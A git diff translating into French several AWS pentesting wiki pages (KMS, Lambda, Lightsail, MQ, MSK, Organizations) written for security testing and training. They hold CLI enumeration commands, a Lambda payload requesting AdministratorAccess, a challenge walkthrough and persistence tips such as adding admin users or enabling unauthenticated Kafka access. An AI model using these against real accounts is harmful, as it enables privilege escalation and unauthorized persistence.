-KMS is priced per number of encryption/decryption requests received from all services per month.
+KMS est facturé par le nombre de demandes de chiffrement/déchiffrement reçues de tous les services par mois.
 
-KMS has full audit and compliance **integration with CloudTrail**; this is where you can audit all changes performed on KMS.
+KMS a une intégration complète d'audit et de conformité **avec CloudTrail** ; c'est là que vous pouvez auditer tous les changements effectués sur KMS.
 
-With KMS policy you can do the following:
+Avec la politique KMS, vous pouvez faire ce qui suit :
 
-- Limit who can create data keys and which services have access to use these keys
-- Limit systems access to encrypt only, decrypt only or both
-- Define to enable systems to access keys across regions (although it is not recommended as a failure in the region hosting KMS will affect availability of systems in other regions).
+- Limiter qui peut créer des clés de données et quels services ont accès à utiliser ces clés
+- Limiter l'accès des systèmes à chiffrer uniquement, déchiffrer uniquement ou les deux
+- Définir pour permettre aux systèmes d'accéder aux clés à travers les régions (bien que cela ne soit pas recommandé car une défaillance dans la région hébergeant KMS affectera la disponibilité des systèmes dans d'autres régions).
 
-You cannot synchronize or move/copy keys across regions; you can only define rules to allow access across region.
-
-### Enumeration
+Vous ne pouvez pas synchroniser ou déplacer/copier des clés entre les régions ; vous ne pouvez définir que des règles pour permettre l'accès entre les régions.
 
+### Énumération
 ```bash
 aws kms list-keys
 aws kms list-key-policies --key-id <id>
@@ -132,7 +129,6 @@ aws kms describe-key --key-id <id>
 aws kms get-key-policy --key-id <id> --policy-name <name> # Default policy name is "default"
 aws kms describe-custom-key-stores
 ```
-
 ### Privesc
 
 {{#ref}}
@@ -151,12 +147,8 @@ aws kms describe-custom-key-stores
 ../aws-persistence/aws-kms-persistence.md
 {{#endref}}
 
-## References
+## Références
 
 - [https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html](https://docs.aws.amazon.com/kms/latest/developerguide/key-policy-default.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
index 03fa1aac8..9f09c9cfc 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-lambda-enum.md
@@ -4,59 +4,58 @@
 
 ## Lambda
 
-Amazon Web Services (AWS) Lambda is described as a **compute service** that enables the execution of code without the necessity for server provision or management. It is characterized by its ability to **automatically handle resource allocation** needed for code execution, ensuring features like high availability, scalability, and security. A significant aspect of Lambda is its pricing model, where **charges are based solely on the compute time utilized**, eliminating the need for initial investments or long-term obligations.
+Amazon Web Services (AWS) Lambda est décrit comme un **service de calcul** qui permet l'exécution de code sans la nécessité de provisionner ou de gérer des serveurs. Il se caractérise par sa capacité à **gérer automatiquement l'allocation des ressources** nécessaires à l'exécution du code, garantissant des fonctionnalités telles que haute disponibilité, évolutivité et sécurité. Un aspect significatif de Lambda est son modèle de tarification, où **les frais sont basés uniquement sur le temps de calcul utilisé**, éliminant ainsi le besoin d'investissements initiaux ou d'obligations à long terme.
 
-To call a lambda it's possible to call it as **frequently as you wants** (with Cloudwatch), **expose** an **URL** endpoint and call it, call it via **API Gateway** or even based on **events** such as **changes** to data in a **S3** bucket or updates to a **DynamoDB** table.
+Pour appeler une lambda, il est possible de l'appeler **aussi souvent que vous le souhaitez** (avec Cloudwatch), **d'exposer** un **point de terminaison URL** et de l'appeler, de l'appeler via **API Gateway** ou même en fonction des **événements** tels que les **changements** de données dans un **bucket S3** ou les mises à jour d'une table **DynamoDB**.
 
-The **code** of a lambda is stored in **`/var/task`**.
+Le **code** d'une lambda est stocké dans **`/var/task`**.
 
-### Lambda Aliases Weights
+### Poids des alias Lambda
 
-A Lambda can have **several versions**.\
-And it can have **more than 1** version exposed via **aliases**. The **weights** of **each** of the **versions** exposed inside and alias will decide **which alias receive the invocation** (it can be 90%-10% for example).\
-If the code of **one** of the aliases is **vulnerable** you can send **requests until the vulnerable** versions receives the exploit.
+Une Lambda peut avoir **plusieurs versions**.\
+Et elle peut avoir **plus d'une** version exposée via des **alias**. Les **poids** de **chacune** des **versions** exposées dans un alias décideront **quel alias reçoit l'invocation** (cela peut être 90%-10% par exemple).\
+Si le code de **l'un** des alias est **vulnérable**, vous pouvez envoyer **des requêtes jusqu'à ce que la version vulnérable** reçoive l'exploit.
 
 ![](<../../../images/image (223).png>)
 
-### Resource Policies
+### Politiques de ressources
 
-Lambda resource policies allow to **give access to other services/accounts to invoke** the lambda for example.\
-For example this is the policy to allow **anyone to access a lambda exposed via URL**:
+Les politiques de ressources Lambda permettent de **donner accès à d'autres services/comptes pour invoquer** la lambda par exemple.\
+Par exemple, voici la politique pour permettre à **quiconque d'accéder à une lambda exposée via URL** :
 
 <figure><img src="https://lh4.googleusercontent.com/4PNFKBdzr3nMrPqeKkTslgwWDKxkXMdQ1SNdv7NPHykj3GX8wODrQyXOFbjk4fxHfZ8pDm5ijWgk2Vq2EGXiPRT3TQfZf1fHycvdEKBuDxJDYos1CJeMHXSeg86ZB-Ol7CNtten6xkVFQj6AhDUEWNQJrQ=s2048" alt=""><figcaption></figcaption></figure>
 
-Or this to allow an API Gateway to invoke it:
+Ou ceci pour permettre à un API Gateway de l'invoquer :
 
 <figure><img src="https://lh3.googleusercontent.com/Su0JlR0wBqb-99Z4N_2-_kMlX0Xzx2n_GpZuOPW5IeXR3FYbm8OHFDM3Ora1BpXiSjHpDVUlq4yEyXwaI3nBuze6DJ-wRf2ATsCuWbq0wuBCd34E9uIpqwheE6Cc_PopviI_93O_j2ZKXc1-AJtsBoLVUw=s2048" alt=""><figcaption></figcaption></figure>
 
-### Lambda Database Proxies
+### Proxies de base de données Lambda
 
-When there are **hundreds** of **concurrent lambda requests**, if each of them need to **connect and close a connection to a database**, it's just not going to work (lambdas are stateless, cannot maintain connections open).\
-Then, if your **Lambda functions interact with RDS Proxy instead** of your database instance. It handles the connection pooling necessary for scaling many simultaneous connections created by concurrent Lambda functions. This allows your Lambda applications to **reuse existing connections**, rather than creating new connections for every function invocation.
+Lorsqu'il y a **des centaines** de **requêtes lambda simultanées**, si chacune d'elles doit **se connecter et fermer une connexion à une base de données**, cela ne va tout simplement pas fonctionner (les lambdas sont sans état, ne peuvent pas maintenir des connexions ouvertes).\
+Alors, si vos **fonctions Lambda interagissent avec RDS Proxy au lieu** de votre instance de base de données. Cela gère le pool de connexions nécessaire pour faire évoluer de nombreuses connexions simultanées créées par des fonctions Lambda concurrentes. Cela permet à vos applications Lambda de **réutiliser les connexions existantes**, plutôt que de créer de nouvelles connexions pour chaque invocation de fonction.
 
-### Lambda EFS Filesystems
+### Systèmes de fichiers EFS Lambda
 
-To preserve and even share data **Lambdas can access EFS and mount them**, so Lambda will be able to read and write from it.
+Pour préserver et même partager des données, **les Lambdas peuvent accéder à EFS et les monter**, afin que Lambda puisse lire et écrire à partir de celui-ci.
 
-### Lambda Layers
+### Couches Lambda
 
-A Lambda _layer_ is a .zip file archive that **can contain additional code** or other content. A layer can contain libraries, a [custom runtime](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), data, or configuration files.
+Une couche Lambda est une archive .zip qui **peut contenir du code supplémentaire** ou d'autres contenus. Une couche peut contenir des bibliothèques, un [runtime personnalisé](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-custom.html), des données ou des fichiers de configuration.
 
-It's possible to include up to **five layers per function**. When you include a layer in a function, the **contents are extracted to the `/opt`** directory in the execution environment.
+Il est possible d'inclure jusqu'à **cinq couches par fonction**. Lorsque vous incluez une couche dans une fonction, le **contenu est extrait dans le répertoire `/opt`** dans l'environnement d'exécution.
 
-By **default**, the **layers** that you create are **private** to your AWS account. You can choose to **share** a layer with other accounts or to **make** the layer **public**. If your functions consume a layer that a different account published, your functions can **continue to use the layer version after it has been deleted, or after your permission to access the layer is revoked**. However, you cannot create a new function or update functions using a deleted layer version.
+Par **défaut**, les **couches** que vous créez sont **privées** à votre compte AWS. Vous pouvez choisir de **partager** une couche avec d'autres comptes ou de **rendre** la couche **publique**. Si vos fonctions consomment une couche qu'un autre compte a publiée, vos fonctions peuvent **continuer à utiliser la version de la couche après qu'elle a été supprimée, ou après que votre permission d'accéder à la couche a été révoquée**. Cependant, vous ne pouvez pas créer une nouvelle fonction ou mettre à jour des fonctions en utilisant une version de couche supprimée.
 
-Functions deployed as a container image do not use layers. Instead, you package your preferred runtime, libraries, and other dependencies into the container image when you build the image.
+Les fonctions déployées en tant qu'image de conteneur n'utilisent pas de couches. Au lieu de cela, vous empaquetez votre runtime préféré, vos bibliothèques et d'autres dépendances dans l'image de conteneur lorsque vous construisez l'image.
 
-### Lambda Extensions
+### Extensions Lambda
 
-Lambda extensions enhance functions by integrating with various **monitoring, observability, security, and governance tools**. These extensions, added via [.zip archives using Lambda layers](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) or included in [container image deployments](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), operate in two modes: **internal** and **external**.
+Les extensions Lambda améliorent les fonctions en s'intégrant à divers **outils de surveillance, d'observabilité, de sécurité et de gouvernance**. Ces extensions, ajoutées via des [.zip archives utilisant des couches Lambda](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ou incluses dans [les déploiements d'images de conteneur](https://aws.amazon.com/blogs/compute/working-with-lambda-layers-and-extensions-in-container-images/), fonctionnent en deux modes : **interne** et **externe**.
 
-- **Internal extensions** merge with the runtime process, manipulating its startup using **language-specific environment variables** and **wrapper scripts**. This customization applies to a range of runtimes, including **Java Correto 8 and 11, Node.js 10 and 12, and .NET Core 3.1**.
-- **External extensions** run as separate processes, maintaining operation alignment with the Lambda function's lifecycle. They're compatible with various runtimes like **Node.js 10 and 12, Python 3.7 and 3.8, Ruby 2.5 and 2.7, Java Corretto 8 and 11, .NET Core 3.1**, and **custom runtimes**.
-
-### Enumeration
+- Les **extensions internes** fusionnent avec le processus d'exécution, manipulant son démarrage à l'aide de **variables d'environnement spécifiques au langage** et de **scripts d'enveloppe**. Cette personnalisation s'applique à une gamme de runtimes, y compris **Java Correto 8 et 11, Node.js 10 et 12, et .NET Core 3.1**.
+- Les **extensions externes** s'exécutent en tant que processus séparés, maintenant l'alignement opérationnel avec le cycle de vie de la fonction Lambda. Elles sont compatibles avec divers runtimes comme **Node.js 10 et 12, Python 3.7 et 3.8, Ruby 2.5 et 2.7, Java Corretto 8 et 11, .NET Core 3.1**, et **runtimes personnalisés**.
 
+### Énumération
 ```bash
 aws lambda get-account-settings
 
@@ -93,11 +92,9 @@ aws lambda list-event-source-mappings
 aws lambda list-code-signing-configs
 aws lambda list-functions-by-code-signing-config --code-signing-config-arn <arn>
 ```
+### Invoker une lambda
 
-### Invoke a lambda
-
-#### Manual
-
+#### Manuel
 ```bash
 # Invoke function
 aws lambda invoke --function-name FUNCTION_NAME /tmp/out
@@ -106,59 +103,50 @@ aws lambda invoke --function-name FUNCTION_NAME /tmp/out
 ## user_name = event['user_name']
 aws lambda invoke --function-name <name> --cli-binary-format raw-in-base64-out --payload '{"policy_names": ["AdministratorAccess], "user_name": "sdf"}' out.txt
 ```
-
-#### Via exposed URL
-
+#### Via URL exposée
 ```bash
 aws lambda list-function-url-configs --function-name <function_name> #Get lambda URL
 aws lambda get-function-url-config   --function-name <function_name> #Get lambda URL
 ```
+#### Appeler la fonction Lambda via URL
 
-#### Call Lambda function via URL
-
-Now it's time to find out possible lambda functions to execute:
-
+Maintenant, il est temps de découvrir les fonctions lambda possibles à exécuter :
 ```
 aws --region us-west-2 --profile level6 lambda list-functions
 ```
-
 ![](<../../../images/image (262).png>)
 
-A lambda function called "Level6" is available. Lets find out how to call it:
-
+Une fonction lambda appelée "Level6" est disponible. Voyons comment l'appeler :
 ```bash
 aws --region us-west-2 --profile level6 lambda get-policy --function-name Level6
 ```
-
 ![](<../../../images/image (102).png>)
 
-Now, that you know the name and the ID you can get the Name:
-
+Maintenant que vous connaissez le nom et l'ID, vous pouvez obtenir le nom :
 ```bash
 aws --profile level6 --region us-west-2 apigateway get-stages --rest-api-id "s33ppypa75"
 ```
-
 ![](<../../../images/image (237).png>)
 
-And finally call the function accessing (notice that the ID, Name and function-name appears in the URL): [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6)
+Et enfin, appelez la fonction en accédant (notez que l'ID, le nom et le nom de la fonction apparaissent dans l'URL) : [https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6](https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6)
 
 `URL:`**`https://<rest-api-id>.execute-api.<region>.amazonaws.com/<stageName>/<funcName>`**
 
-#### Other Triggers
+#### Autres Déclencheurs
 
-There are a lot of other sources that can trigger a lambda
+Il existe de nombreuses autres sources qui peuvent déclencher une lambda
 
 <figure><img src="../../../images/image (167).png" alt=""><figcaption></figcaption></figure>
 
 ### Privesc
 
-In the following page you can check how to **abuse Lambda permissions to escalate privileges**:
+Dans la page suivante, vous pouvez vérifier comment **abuser des permissions Lambda pour escalader les privilèges** :
 
 {{#ref}}
 ../aws-privilege-escalation/aws-lambda-privesc.md
 {{#endref}}
 
-### Unauthenticated Access
+### Accès Non Authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md
@@ -170,19 +158,15 @@ In the following page you can check how to **abuse Lambda permissions to escalat
 ../aws-post-exploitation/aws-lambda-post-exploitation/
 {{#endref}}
 
-### Persistence
+### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-lambda-persistence/
 {{#endref}}
 
-## References
+## Références
 
 - [https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer](https://docs.aws.amazon.com/lambda/latest/dg/gettingstarted-concepts.html#gettingstarted-concepts-layer)
 - [https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/](https://aws.amazon.com/blogs/compute/building-extensions-for-aws-lambda-in-preview/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
index 9f5ccb1ab..132b3dadd 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-lightsail-enum.md
@@ -4,11 +4,10 @@
 
 ## AWS - Lightsail
 
-Amazon Lightsail provides an **easy**, lightweight way for new cloud users to take advantage of AWS’ cloud computing services. It allows you to deploy common and custom web services in seconds via **VMs** (**EC2**) and **containers**.\
-It's a **minimal EC2 + Route53 + ECS**.
+Amazon Lightsail offre un moyen **facile** et léger pour les nouveaux utilisateurs du cloud de tirer parti des services de cloud computing d'AWS. Il vous permet de déployer des services web courants et personnalisés en quelques secondes via des **VMs** (**EC2**) et des **containers**.\
+C'est un **EC2 minimal + Route53 + ECS**.
 
 ### Enumeration
-
 ```bash
 # Instances
 aws lightsail get-instances #Get all
@@ -29,14 +28,13 @@ aws lightsail get-load-balancers
 aws lightsail get-static-ips
 aws lightsail get-key-pairs
 ```
+### Analyse des instantanés
 
-### Analyse Snapshots
+Il est possible de générer des **instantanés d'instance et de base de données relationnelle à partir de lightsail**. Par conséquent, vous pouvez les vérifier de la même manière que vous pouvez vérifier les [**instantanés EC2**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) et les [**instantanés RDS**](aws-relational-database-rds-enum.md#enumeration).
 
-It's possible to generate **instance and relational database snapshots from lightsail**. Therefore you can check those the same way you can check [**EC2 snapshots**](aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/#ebs) and [**RDS snapshots**](aws-relational-database-rds-enum.md#enumeration).
+### Métadonnées
 
-### Metadata
-
-**Metadata endpoint is accessible from lightsail**, but the machines are running in an **AWS account managed by AWS** so you don't control **what permissions are being granted**. However, if you find a way to exploit those you would be directly exploiting AWS.
+**Le point de terminaison des métadonnées est accessible depuis lightsail**, mais les machines fonctionnent dans un **compte AWS géré par AWS**, donc vous ne contrôlez pas **les autorisations accordées**. Cependant, si vous trouvez un moyen d'exploiter cela, vous exploiteriez directement AWS.
 
 ### Privesc
 
@@ -44,20 +42,16 @@ It's possible to generate **instance and relational database snapshots from ligh
 ../aws-privilege-escalation/aws-lightsail-privesc.md
 {{#endref}}
 
-### Post Exploitation
+### Post-exploitation
 
 {{#ref}}
 ../aws-post-exploitation/aws-lightsail-post-exploitation.md
 {{#endref}}
 
-### Persistence
+### Persistance
 
 {{#ref}}
 ../aws-persistence/aws-lightsail-persistence.md
 {{#endref}}
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
index 8504db545..47365b59c 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-mq-enum.md
@@ -4,28 +4,27 @@
 
 ## Amazon MQ
 
-### Introduction to Message Brokers
+### Introduction aux courtiers en messages
 
-**Message brokers** serve as intermediaries, facilitating communication between different software systems, which may be built on varied platforms and programmed in different languages. **Amazon MQ** simplifies the deployment, operation, and maintenance of message brokers on AWS. It provides managed services for **Apache ActiveMQ** and **RabbitMQ**, ensuring seamless provisioning and automatic software version updates.
+**Les courtiers en messages** servent d'intermédiaires, facilitant la communication entre différents systèmes logiciels, qui peuvent être construits sur des plateformes variées et programmés dans différents langages. **Amazon MQ** simplifie le déploiement, l'exploitation et la maintenance des courtiers en messages sur AWS. Il fournit des services gérés pour **Apache ActiveMQ** et **RabbitMQ**, garantissant un approvisionnement sans faille et des mises à jour automatiques des versions logicielles.
 
 ### AWS - RabbitMQ
 
-RabbitMQ is a prominent **message-queueing software**, also known as a _message broker_ or _queue manager_. It's fundamentally a system where queues are configured. Applications interface with these queues to **send and receive messages**. Messages in this context can carry a variety of information, ranging from commands to initiate processes on other applications (potentially on different servers) to simple text messages. The messages are held by the queue-manager software until they are retrieved and processed by a receiving application. AWS provides an easy-to-use solution for hosting and managing RabbitMQ servers.
+RabbitMQ est un logiciel de **mise en file d'attente de messages** de premier plan, également connu sous le nom de _courtier de messages_ ou _gestionnaire de files d'attente_. C'est fondamentalement un système où des files d'attente sont configurées. Les applications interagissent avec ces files d'attente pour **envoyer et recevoir des messages**. Les messages dans ce contexte peuvent transporter une variété d'informations, allant des commandes pour initier des processus sur d'autres applications (potentiellement sur différents serveurs) à de simples messages texte. Les messages sont conservés par le logiciel de gestionnaire de files d'attente jusqu'à ce qu'ils soient récupérés et traités par une application réceptrice. AWS fournit une solution facile à utiliser pour héberger et gérer des serveurs RabbitMQ.
 
 ### AWS - ActiveMQ
 
-Apache ActiveMQ® is a leading open-source, Java-based **message broker** known for its versatility. It supports multiple industry-standard protocols, offering extensive client compatibility across a wide array of languages and platforms. Users can:
+Apache ActiveMQ® est un **courtier de messages** open-source de premier plan, basé sur Java, connu pour sa polyvalence. Il prend en charge plusieurs protocoles standard de l'industrie, offrant une compatibilité client étendue à travers un large éventail de langages et de plateformes. Les utilisateurs peuvent :
 
-- Connect with clients written in JavaScript, C, C++, Python, .Net, and more.
-- Leverage the **AMQP** protocol to integrate applications from different platforms.
-- Use **STOMP** over websockets for web application message exchanges.
-- Manage IoT devices with **MQTT**.
-- Maintain existing **JMS** infrastructure and extend its capabilities.
+- Se connecter avec des clients écrits en JavaScript, C, C++, Python, .Net, et plus encore.
+- Tirer parti du protocole **AMQP** pour intégrer des applications de différentes plateformes.
+- Utiliser **STOMP** sur websockets pour les échanges de messages d'applications web.
+- Gérer des appareils IoT avec **MQTT**.
+- Maintenir l'infrastructure **JMS** existante et étendre ses capacités.
 
-ActiveMQ's robustness and flexibility make it suitable for a multitude of messaging requirements.
-
-## Enumeration
+La robustesse et la flexibilité d'ActiveMQ le rendent adapté à une multitude de besoins en matière de messagerie.
 
+## Énumération
 ```bash
 # List brokers
 aws mq list-brokers
@@ -48,9 +47,8 @@ aws mq list-configurations
 # Creacte Active MQ user
 aws mq create-user --broker-id <value> --password <value> --username <value> --console-access
 ```
-
 > [!WARNING]
-> TODO: Indicate how to enumerate RabbitMQ and ActiveMQ internally and how to listen in all queues and send data (send PR if you know how to do this)
+> TODO : Indiquer comment énumérer RabbitMQ et ActiveMQ en interne et comment écouter toutes les files d'attente et envoyer des données (envoyez une PR si vous savez comment faire cela)
 
 ## Privesc
 
@@ -58,23 +56,19 @@ aws mq create-user --broker-id <value> --password <value> --username <value> --c
 ../aws-privilege-escalation/aws-mq-privesc.md
 {{#endref}}
 
-## Unauthenticated Access
+## Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md
 {{#endref}}
 
-## Persistence
+## Persistance
 
-If you know the credentials to access the RabbitMQ web console, you can create a new user qith admin privileges.
+Si vous connaissez les identifiants pour accéder à la console web RabbitMQ, vous pouvez créer un nouvel utilisateur avec des privilèges d'administrateur.
 
-## References
+## Références
 
 - [https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html](https://www.cloudamqp.com/blog/part1-rabbitmq-for-beginners-what-is-rabbitmq.html)
 - [https://activemq.apache.org/](https://activemq.apache.org/)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
index 42c7ca640..14b48ee60 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-msk-enum.md
@@ -4,22 +4,21 @@
 
 ## Amazon MSK
 
-**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** is a service that is fully managed, facilitating the development and execution of applications processing streaming data through **Apache Kafka**. Control-plane operations, including creation, update, and deletion of **clusters**, are offered by Amazon MSK. The service permits the utilization of Apache Kafka **data-plane operations**, encompassing data production and consumption. It operates on **open-source versions of Apache Kafka**, ensuring compatibility with existing applications, tooling, and plugins from both partners and the **Apache Kafka community**, eliminating the need for alterations in the application code.
+**Amazon Managed Streaming for Apache Kafka (Amazon MSK)** est un service entièrement géré, facilitant le développement et l'exécution d'applications traitant des données en streaming via **Apache Kafka**. Les opérations de contrôle, y compris la création, la mise à jour et la suppression de **clusters**, sont offertes par Amazon MSK. Le service permet l'utilisation des opérations de **data-plane** d'Apache Kafka, englobant la production et la consommation de données. Il fonctionne sur des **versions open-source d'Apache Kafka**, garantissant la compatibilité avec les applications, outils et plugins existants provenant à la fois des partenaires et de la **communauté Apache Kafka**, éliminant ainsi le besoin de modifications dans le code de l'application.
 
-In terms of reliability, Amazon MSK is designed to **automatically detect and recover from prevalent cluster failure scenarios**, ensuring that producer and consumer applications persist in their data writing and reading activities with minimal disruption. Moreover, it aims to optimize data replication processes by attempting to **reuse the storage of replaced brokers**, thereby minimizing the volume of data that needs to be replicated by Apache Kafka.
+En termes de fiabilité, Amazon MSK est conçu pour **détecter et récupérer automatiquement des scénarios de défaillance de cluster courants**, garantissant que les applications productrices et consommatrices continuent leurs activités d'écriture et de lecture de données avec un minimum de perturbations. De plus, il vise à optimiser les processus de réplication des données en tentant de **réutiliser le stockage des brokers remplacés**, minimisant ainsi le volume de données qui doit être répliqué par Apache Kafka.
 
 ### **Types**
 
-There are 2 types of Kafka clusters that AWS allows to create: Provisioned and Serverless.
+Il existe 2 types de clusters Kafka que AWS permet de créer : Provisionné et Sans serveur.
 
-From the point of view of an attacker you need to know that:
+Du point de vue d'un attaquant, vous devez savoir que :
 
-- **Serverless cannot be directly public** (it can only run in a VPN without any publicly exposed IP). However, **Provisioned** can be configured to get a **public IP** (by default it doesn't) and configure the **security group** to **expose** the relevant ports.
-- **Serverless** **only support IAM** as authentication method. **Provisioned** support SASL/SCRAM (**password**) authentication, **IAM** authentication, AWS **Certificate** Manager (ACM) authentication and **Unauthenticated** access.
-  - Note that it's not possible to expose publicly a Provisioned Kafka if unauthenticated access is enabled
+- **Sans serveur ne peut pas être directement public** (il ne peut fonctionner que dans un VPN sans aucune IP exposée publiquement). Cependant, **Provisionné** peut être configuré pour obtenir une **IP publique** (par défaut, ce n'est pas le cas) et configurer le **groupe de sécurité** pour **exposer** les ports pertinents.
+- **Sans serveur** **ne prend en charge que IAM** comme méthode d'authentification. **Provisionné** prend en charge l'authentification SASL/SCRAM (**mot de passe**), l'authentification **IAM**, l'authentification AWS **Certificate** Manager (ACM) et l'accès **non authentifié**.
+- Notez qu'il n'est pas possible d'exposer publiquement un Kafka Provisionné si l'accès non authentifié est activé.
 
 ### Enumeration
-
 ```bash
 #Get clusters
 aws kafka list-clusters
@@ -43,9 +42,7 @@ aws kafka describe-configuration-revision --arn <config-arn> --revision <version
 # If using SCRAN authentication, get used AWS secret name (not secret value)
 aws kafka list-scram-secrets --cluster-arn <cluster-arn>
 ```
-
-### Kafka IAM Access (in serverless)
-
+### Accès IAM Kafka (en mode serverless)
 ```bash
 # Guide from https://docs.aws.amazon.com/msk/latest/developerguide/create-serverless-cluster.html
 # Download Kafka
@@ -75,29 +72,24 @@ kafka_2.12-2.8.1/bin/kafka-console-producer.sh --broker-list $BS --producer.conf
 # Read messages
 kafka_2.12-2.8.1/bin/kafka-console-consumer.sh --bootstrap-server $BS --consumer.config client.properties --topic msk-serverless-tutorial --from-beginning
 ```
-
 ### Privesc
 
 {{#ref}}
 ../aws-privilege-escalation/aws-msk-privesc.md
 {{#endref}}
 
-### Unauthenticated Access
+### Accès non authentifié
 
 {{#ref}}
 ../aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md
 {{#endref}}
 
-### Persistence
+### Persistance
 
-If you are going to **have access to the VPC** where a Provisioned Kafka is, you could **enable unauthorised access**, if **SASL/SCRAM authentication**, **read** the password from the secret, give some **other controlled user IAM permissions** (if IAM or serverless used) or persist with **certificates**.
+Si vous allez **avoir accès au VPC** où se trouve un Kafka Provisionné, vous pourriez **activer un accès non autorisé**, si **l'authentification SASL/SCRAM**, **lire** le mot de passe à partir du secret, donner des **autres permissions IAM contrôlées** (si IAM ou sans serveur utilisé) ou persister avec **des certificats**.
 
-## References
+## Références
 
 - [https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html](https://docs.aws.amazon.com/msk/latest/developerguide/what-is-msk.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
index df5a51a37..5263e3e0e 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-organizations-enum.md
@@ -2,23 +2,22 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-## Baisc Information
+## Informations de base
 
-AWS Organizations facilitates the creation of new AWS accounts without incurring additional costs. Resources can be allocated effortlessly, accounts can be efficiently grouped, and governance policies can be applied to individual accounts or groups, enhancing management and control within the organization.
+AWS Organizations facilite la création de nouveaux comptes AWS sans frais supplémentaires. Les ressources peuvent être allouées sans effort, les comptes peuvent être regroupés efficacement, et des politiques de gouvernance peuvent être appliquées à des comptes individuels ou à des groupes, améliorant ainsi la gestion et le contrôle au sein de l'organisation.
 
-Key Points:
+Points clés :
 
-- **New Account Creation**: AWS Organizations allows the creation of new AWS accounts without extra charges.
-- **Resource Allocation**: It simplifies the process of allocating resources across the accounts.
-- **Account Grouping**: Accounts can be grouped together, making management more streamlined.
-- **Governance Policies**: Policies can be applied to accounts or groups of accounts, ensuring compliance and governance across the organization.
+- **Création de nouveaux comptes** : AWS Organizations permet la création de nouveaux comptes AWS sans frais supplémentaires.
+- **Allocation des ressources** : Il simplifie le processus d'allocation des ressources entre les comptes.
+- **Regroupement des comptes** : Les comptes peuvent être regroupés, rendant la gestion plus fluide.
+- **Politiques de gouvernance** : Des politiques peuvent être appliquées aux comptes ou aux groupes de comptes, garantissant la conformité et la gouvernance au sein de l'organisation.
 
-You can find more information in:
+Vous pouvez trouver plus d'informations dans :
 
 {{#ref}}
 ../aws-basic-information/
 {{#endref}}
-
 ```bash
 # Get Org
 aws organizations describe-organization
@@ -39,13 +38,8 @@ aws organizations list-accounts-for-parent --parent-id ou-n8s9-8nzv3a5y
 ## You need the permission iam:GetAccountSummary
 aws iam get-account-summary
 ```
-
-## References
+## Références
 
 - https://aws.amazon.com/organizations/
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
index d5cb84f1d..e617f7c5c 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md
@@ -1,28 +1,20 @@
-# AWS - Other Services Enum
+# AWS - Autres Services Enum
 
 {{#include ../../../banners/hacktricks-training.md}}
 
 ## Directconnect
 
-Allows to **connect a corporate private network with AWS** (so you could compromise an EC2 instance and access the corporate network).
-
+Permet de **connecter un réseau privé d'entreprise avec AWS** (vous pourriez donc compromettre une instance EC2 et accéder au réseau d'entreprise).
 ```
 aws directconnect describe-connections
 aws directconnect describe-interconnects
 aws directconnect describe-virtual-gateways
 aws directconnect describe-virtual-interfaces
 ```
-
 ## Support
 
-In AWS you can access current and previous support cases via the API
-
+Dans AWS, vous pouvez accéder aux cas de support actuels et précédents via l'API.
 ```
 aws support describe-cases --include-resolved-cases
 ```
-
